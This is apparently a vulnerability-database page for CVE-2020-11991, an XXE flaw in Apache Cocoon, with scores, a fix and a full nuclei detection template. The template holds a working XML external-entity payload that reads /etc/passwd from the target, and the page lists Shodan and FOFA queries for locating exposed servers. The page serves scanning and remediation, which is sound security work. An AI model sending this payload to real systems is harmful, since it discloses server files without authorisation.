Apache Cocoon 2.1.12 - XML Injection

highseverity

7.5CVSS score

72.6%likelihood of exploitation, next 30 days

99%of all CVEs are less likely

Readycheck to confirm it

Apache Cocoon 2.1.12 contains an XML injection caused by parsing user-provided XML with external system entities in StreamGenerator, letting attackers access arbitrary files on the server, exploit requires sending malicious XML.

Impact

Attackers can access arbitrary files on the server, leading to information disclosure and potential server compromise.

Fix

Update to the latest version of Apache Cocoon or apply security patches that disable external entity processing.

How to confirm it

Send: POST /samples/process-order
Positive when: matches /root:.*:0:0:/ AND status 200

Run it with nuclei: nuclei -id CVE-2020-11991 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2020-11991

info:
  name: Apache Cocoon 2.1.12 - XML Injection
  author: pikpikcu,diedromeo
  severity: high
  description: |
    Apache Cocoon 2.1.12 contains an XML injection caused by parsing user-provided XML with external system entities in StreamGenerator, letting attackers access arbitrary files on the server, exploit requires sending malicious XML.
  impact: |
    Attackers can access arbitrary files on the server, leading to information disclosure and potential server compromise.
  remediation: |
    Update to the latest version of Apache Cocoon or apply security patches that disable external entity processing.
  reference:
    - https://lists.apache.org/thread/6xg5j4knfczwdhggo3t95owqzol37k1b
    - https://nvd.nist.gov/vuln/detail/CVE-2020-11991
    - https://lists.apache.org/thread.html/r77add973ea521185e1a90aca00ba9dae7caa8d8b944d92421702bb54%40%3Cusers.cocoon.apache.org%3E
    - https://github.com/apache/cocoon/blob/BRANCH_2_1_X/src/webapp/samples/stream/sitemap.xmap
    - https://github.com/apache/cocoon/blob/BRANCH_2_1_X/src/java/org/apache/cocoon/generation/StreamGenerator.java
    - https://github.com/apache/cocoon/commit/8115f6ce315e306807b224f081fe06a27592c446
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2020-11991
    cwe-id: CWE-611
    epss-score: 0.72456
    epss-percentile: 0.99443
    cpe: cpe:2.3:a:apache:cocoon:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: apache
    product: cocoon
    shodan-query:
      - http.html:"Apache Cocoon"
      - http.html:"apache cocoon"
    fofa-query: body="apache cocoon"
  tags: cve,cve2020,apache,xml,cocoon,xxe,vkev,vuln

http:
  - raw:
      - |
        POST /samples/process-order HTTP/1.1
        Host: {{Hostname}}
        Content-Type: text/xml

        <?xml version="1.0"?>
        <!DOCTYPE replace [<!ENTITY ent SYSTEM "file:///etc/passwd"> ]>
        <userInfo>
        <firstName>John</firstName>
        <lastName>&ent;</lastName>
        </userInfo>

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from